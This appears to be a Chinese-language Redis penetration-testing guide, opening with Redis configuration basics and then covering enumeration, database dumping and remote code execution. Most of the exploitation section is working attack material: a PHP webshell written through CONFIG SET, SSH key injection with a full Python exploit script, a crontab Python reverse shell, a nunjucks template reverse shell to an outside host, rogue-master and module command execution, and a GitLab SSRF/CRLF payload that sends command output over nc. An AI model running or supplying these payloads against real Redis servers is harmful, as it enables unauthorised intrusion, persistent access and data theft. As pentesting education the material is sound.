Redis数据库简介
Redis(REmote DIctionary Server)是一款开源、支持网络、基于内存的高级键值对(Key-Value)存储数据库。其使用C语言编写实现,通常被称为数据结构服务器,因为数据库中键(Key)的值(Value)可以是字符串、哈希表、列表、集合、有序集合等各种数据结构。Redis是内存数据库,因为其将全部的数据都存储在内存之中。传统的关系型数据库如MySQL、SQLite等都是磁盘数据库(数据存储在磁盘上)。在关闭Redis之前,应当对内存中的数据进行备份,否则数据会丢失。不过,Redis支持定期自动备份内存中的数据到磁盘上。Redis是非关系型数据库,即NoSQL(Not Only SQL),其数据存储不需要固定的表格模式,也不使用SQL作为查询语言。Redis官方不提供对Windows操作系统的支持,但是可以在微软的开源团队维护的Windows版本上使用。
Redis配置文件
在启动Redis服务器进程的时候,可以通过命令行参数指定一个配置文件,这样服务器进程就可以根据配置文件中设定的参数值来运行了。在redis-3.0.1目录下有一个
redis.conf
文件,这是一个默认的配置文件。redis.conf
文件中存在许多的设置参数,这里重点介绍几个和安全相关的参数:1. port参数
格式为port后面接端口号,如port 6379,表示Redis服务器将在6379端口上进行监听来等待客户端的连接。
2. bind参数
Redis服务器绑定的IP地址,可以同时绑定在多个IP地址上,IP地址之间用空格分离,如bind 192.168.1.100 10.0.0.1,表示同时绑定在192.168.1.100和10.0.0.1两个IP地址上。如果没有指定bind参数,则绑定在本机的所有IP地址上。
3. save参数
格式为save <秒数> <变化数>,表示在指定的秒数内数据库存在指定的改变数时自动进行备份(Redis是内存数据库,这里的备份就是指把内存中的数据备份到磁盘上)。可以同时指定多个save参数,如:
save 900 1 save 300 10 save 60 10000
表示如果数据库的内容在60秒后产生了10000次改变,或者300秒后产生了10次改变,或者900秒后产生了1次改变,那么立即进行备份操作。
4. requirepass参数
指定客户端在连接Redis服务器时所需要的密码。Redis默认的密码参数是空的,说明不需要密码即可连接;如果配置文件中requirepass参数有值,表示需要使用相应的密码才能连接Redis数据库。
5. dir参数
格式为dir后接指定的路径,默认为dir ./,指明Redis的工作目录为当前目录,即redis-server文件所在的目录。Redis的工作目录,即Redis产生的备份文件将放在这个目录下。。
6. dbfilename参数
格式为dbfilename后接指定的文件名称,用于指定Redis备份文件的名字,默认为dbfilename dump.rdb,即备份文件的名字为dump.rdb。
7. config命令
通过config命令可以读取和设置dir参数以及dbfilename参数,因为这条命令比较危险,所以Redis在配置文件中提供了rename-command参数来对其进行重命名操作,如rename-command CONFIG HTCMD,可以将CONFIG命令重命名为HTCMD。配置文件默认是没有对CONFIG命令进行重命名操作的。
6379 - Pentesting Redis
1、Basic Information
Redis是一个开源(BSD许可证),用作数据库、缓存和消息代理的内存数据结构存储。默认情况下,Redis使用基于纯文本的协议,但您必须记住它也可以实现ssl/tls。。
Default port: 6379
PORT STATE SERVICE VERSION 6379/tcp open redis Redis key-value store 4.0.9
2、Automatic Enumeration
一些自动化工具可帮助从Redis实例中获取信息:
nmap --script redis-info -sV -p 6379 <IP> msf> use auxiliary/scanner/redis/redis_server
3、Manual Enumeration
3.1、Banner
Redis是一种基于文本的协议,您可以将命令发送到套接字,返回的值将是可读的。同时请注意,Redis可以使用ssl/tls运行。
在常规的Redis实例中,您可以使用
nc
进行连接,也可以使用redis-cli
:nc -vn 10.10.10.10 6379 redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
你可以尝试的第一条命令是
info
。它可能会返回Redis实例的信息输出,或者类似以下内容的返回:- NOAUTH Authentication required.
在这种情况下,这意味着您需要有效的凭据才能访问Redis实例。
3.2、Redis Authentication
默认情况下,Redis可以在没有凭据的情况下访问。但是,它可以配置为仅支持密码或用户名+密码。可以在redis.conf文件中使用参数
requirepass
设置密码,或在服务重新启动连接并运行config set requirepass p@ss$12E45
命令,以临时设置密码。此外,可以在redis.conf文件中的masteruser参数中配置用户名。如果只配置了密码,则使用的用户名是“default”。
另外,请注意,无法从外部找到Redis是否仅配置了密码或用户名+密码。
在这种情况下,您将需要找到有效的凭据才能与Redis交互,因此您可以尝试对其进行暴力破解。
如果您找到了有效的凭据,在使用以下命令建立连接后,您需要验证会话:
AUTH <username> <password>
使用有效凭据会响应:
+OK
3.3、Authenticated enumeration
如果Redis实例接受匿名连接或者你找到了一些有效的凭证,你可以使用以下命令开始枚举服务:
INFO [ ... Redis response with info ... ] client list [ ... Redis response with connected clients ... ] CONFIG GET * [ ... Get config ... ]
rename-command FLUSHDB ""
您还可以使用命令
monitor
实时监视执行的Redis命令,或使用slowlog get 25
获取最慢的前25个查询。3.4、Dumping Database
Redis中的数据库是从0开始的数字。您可以在“Keyspace”块的输出中使用命令“info”找到是否有任何使用:
或者您可以使用以下命令来获取所有keyspaces (databases):
INFO keyspace
在这个例子中,正在使用数据库0和1。数据库0包含4个键,数据库1包含1个键。默认情况下,Redis将使用数据库0。为了转储例如数据库1,您需要执行以下操作:
SELECT 1 [ ... Indicate the database ... ] KEYS * [ ... Get Keys ... ] GET <KEY> [ ... Get Key ... ]
如果在运行
“GET <KEY>”
时出现“-WRONGTYPE操作针对持有错误类型值的键”的错误,原因可能是该键不是字符串或整数,需要使用特殊运算符来显示它。要知道键的类型,请使用
TYPE
命令,以下是列表和哈希键的示例。TYPE <KEY> [ ... Type of the Key ... ] LRANGE <KEY> 0 -1 [ ... Get list items ... ] HGET <KEY> <FIELD> [ ... Get hash item ... ]
使用npm的redis-dump或python的redis-utils进行数据库转储
4、Redis RCE
4.1、Interactive Shell
redis-rogue-server 可以自动在Redis(<=5.0.5)中获取交互式shell或反向shell。
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
4.2、PHP Webshell
root@Urahara:~# redis-cli -h 10.85.0.52 10.85.0.52:6379> config set dir /usr/share/nginx/html OK 10.85.0.52:6379> config set dbfilename redis.php OK 10.85.0.52:6379> set test "<?php phpinfo(); ?>" OK 10.85.0.52:6379> save OK
如果出现Webshell访问异常,您可以先备份数据库并清空数据库后重试,记得要恢复数据库。
4.3、Template Webshell
就像在上一部分中一样,您也可以覆盖一些将由模板引擎解释的html模板文件并获得shell。
例如,根据这篇文章,您可以看到攻击者在一个由nunjucks模板引擎解释的html中注入了一个反向shell:
{{ ({}).constructor.constructor( "var net = global.process.mainModule.require('net'), cp = global.process.mainModule.require('child_process'), sh = cp.spawn('sh', []); var client = new net.Socket(); client.connect(1234, 'my-server.com', function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); });" )()}}
请注意,许多模板引擎会将模板缓存到内存中,因此即使您覆盖它们,新模板也不会被执行。在这种情况下,要么开发人员保留了自动重新加载功能,要么您需要对服务进行DoS攻击(并期望它会自动重新启动)。
4.4、SSH
请注意,
config get dir
的结果可能会在其他手动利用命令之后改变。建议在登录Redis后首先运行它。在config get dir
的输出中,您可以找到redis用户的home(通常为/var/lib/redis或/home/redis/.ssh),并且知道这一点,您就知道了可以写入authenticated_users
文件以通过ssh访问redis用户。如果您知道其他具有可写权限的有效用户的主目录,也可以滥用它:- 在您的计算机上生成一个SSH公私钥对:
ssh-keygen -t rsa
- 将公钥写入文件 :
(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
- 将文件导入 Redis :
cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key
- 将公钥保存到 redis 服务器的 authorized_keys 文件中:
root@Urahara。:~# redis-cli -h 10.85.0.52 10.85.0.52:6379> config set dir /var/lib/redis/.ssh OK 10.85.0.52:6379> config set dbfilename "authorized_keys" OK 10.85.0.52:6379> save OK
- 最后,您可以使用私钥ssh到redis服务器 : ssh -i id_rsa redis@10.85.0.52
#!/usr/bin/python #Author : Avinash Kumar Thapa aka -Acid #Twitter : https://twitter.com/m_avinash143 ##################################################################################################################################################### import os import os.path from sys import argv from termcolor import colored script, ip_address, username = argv PATH='/usr/bin/redis-cli' PATH1='/usr/local/bin/redis-cli' def ssh_connection(): shell = "ssh -i " + '$HOME/.ssh/id_rsa ' + username+"@"+ip_address os.system(shell) if os.path.isfile(PATH) or os.path.isfile(PATH1): try: print colored('\t*******************************************************************', "green") print colored('\t* [+] [Exploit] Exploiting misconfigured REDIS SERVER*' ,"green") print colored('\t* [+] AVINASH KUMAR THAPA aka "-Acid" ', "green") print colored('\t*******************************************************************', "green") print "\n" print colored("\t SSH Keys Need to be Generated", 'blue') os.system('ssh-keygen -t rsa -C \"acid_creative\"') print colored("\t Keys Generated Successfully", "blue") os.system("(echo '\r\n\'; cat $HOME/.ssh/id_rsa.pub; echo \'\r\n\') > $HOME/.ssh/public_key.txt") cmd = "redis-cli -h " + ip_address + ' flushall' cmd1 = "redis-cli -h " + ip_address os.system(cmd) cmd2 = "cat $HOME/.ssh/public_key.txt | redis-cli -h " + ip_address + ' -x set cracklist' os.system(cmd2) cmd3 = cmd1 + ' config set dbfilename "backup.db" ' cmd4 = cmd1 + ' config set dir' + " /home/"+username+"/.ssh/" cmd5 = cmd1 + ' config set dbfilename "authorized_keys" ' cmd6 = cmd1 + ' save' os.system(cmd3) os.system(cmd4) os.system(cmd5) os.system(cmd6) print colored("\tYou'll get shell in sometime..Thanks for your patience", "green") ssh_connection() except: print "Something went wrong" else: print colored("\tRedis-cli:::::This utility is not present on your system. You need to install it to proceed further.", "red")
4.5、Crontab
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1 OK root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/ OK root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root OK root@Urahara:~# redis-cli -h 10.85.0.52 save OK
最后一个示例是针对Ubuntu的,对于Centos,应该使用上面的命令:
redis-cli -h 10.85.0.52 config set dir /var/spool/cron/
4.6、Load Redis Module
- 按照https://github.com/n0b0dyCN/RedisModules-ExecuteCommand的说明,您可以编译一个redis模块来执行任意命令。
- 那么你需要一种上传已编译模块的方法
- 在运行时加载上传的模块
MODULE LOAD /path/to/mymodule.so
- 使用Markdown格式列出已加载的模块以检查其是否正确加载:
MODULE LIST
- Execute commands:
127.0.0.1:6379> system.exec "id"" uid=0(root) gid=0(root) groups=0(root)\n" 127.0.0.1:6379> system.exec "whoami" "root\n" 127.0.0.1:6379> system.rev 127.0.0.1 9999
- 随时卸载模块:
MODULE UNLOAD mymodule
4.7、LUA sandbox bypass
这里 你可以看到 Redis 使用命令 EVAL 来执行 沙箱化的 Lua 代码。在链接的文章中,你可以看到如何使用 dofile 函数进行滥用,但是 显然 这已经不再可能了。无论如何,如果你可以 绕过 Lua 沙箱,你可以在系统上 执行任意 命令。此外,从同一篇文章中,你可以看到一些 导致 DoS 的选项。
Some CVEs to escape from LUA:
4.8、Master-Slave Module
主 Redis 的所有操作都会自动同步到从 Redis,这意味着我们可以将含有漏洞的 Redis 视为从 Redis,连接到我们自己控制的主 Redis,然后我们就可以向自己的 Redis 输入命令。
master redis : 10.85.0.51 (Hacker's Server) slave redis : 10.85.0.52 (Target Vulnerability Server) A master-slave connection will be established from the slave redis and the master redis: redis-cli -h 10.85.0.52 -p 6379 slaveof 10.85.0.51 6379 Then you can login to the master redis to control the slave redis: redis-cli -h 10.85.0.51 -p 6379 set mykey hello set mykey2 helloworld
4.9、SSRF talking to Redis
如果您能够向 Redis 发送明文请求,您就可以与其进行通信,因为 Redis 会逐行阅读请求,并只对其不理解的行做出错误响应:
- ERR wrong number of arguments for 'get' command
- ERR unknown command 'Host:'
- ERR unknown command 'Accept:'
- ERR unknown command 'Accept-Encoding:'
- ERR unknown command 'Via:'
- ERR unknown command 'Cache-Control:'
- ERR unknown command 'Connection:'
因此,如果您在网站中发现 SSRF漏洞,并且您可以通过一些 头信息(可能是由于CRLF漏洞)或 POST参数进行控制,那么您就可以向Redis发送任意命令。
CRLF漏洞指的是Carriage Return Line Feed漏洞,它是一种针对Web应用程序的安全漏洞。此漏洞通常出现在以CRLF结尾的协议(如HTTP协议)中。
攻击者利用该漏洞在Web应用程序上追加恶意数据,例如HTTP头,以欺骗Web服务器或Web浏览器执行某些行为或执行非预期的操作。这些恶意行为可能包括cookie欺骗、HTTP头注入、会话劫持等。
攻击者通常可以在HTTP请求中插入一个CRLF序列,导致服务器解析HTTP请求头错误,从而使得攻击者能够注入任意的HTTP响应信息。结果,攻击者可以接管受害者的账户、主机、浏览器等。
4.10、Example: Gitlab SSRF + CRLF to Shell
在 Gitlab11.4.7 中发现了 SSRF 漏洞和 CRLF 漏洞。SSRF 漏洞位于创建新项目时的 从URL导入项目功能,允许访问形式为
[0:0:0:0:0:ffff:127.0.0.1]
的任意IP地址(这将访问127.0.0.1),而 CRLF 漏洞则是通过向 URL 添加 %0D%0A
字符来利用的。因此,可以 利用这些漏洞与管理队列的 Redis 实例 进行通信,滥用这些队列以 获取代码执行。Redis队列滥用有效负载如下:
multi sadd resque:gitlab:queues system_hook_push lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}" exec
利用SSRF和CRLF滥用请求的URL编码请求,执行
whoami
并通过nc
发送输出的命令是:git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
由于某种原因(如来源于https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/的作者所述),这种利用方式可以使用
git
方案而不是http
方案。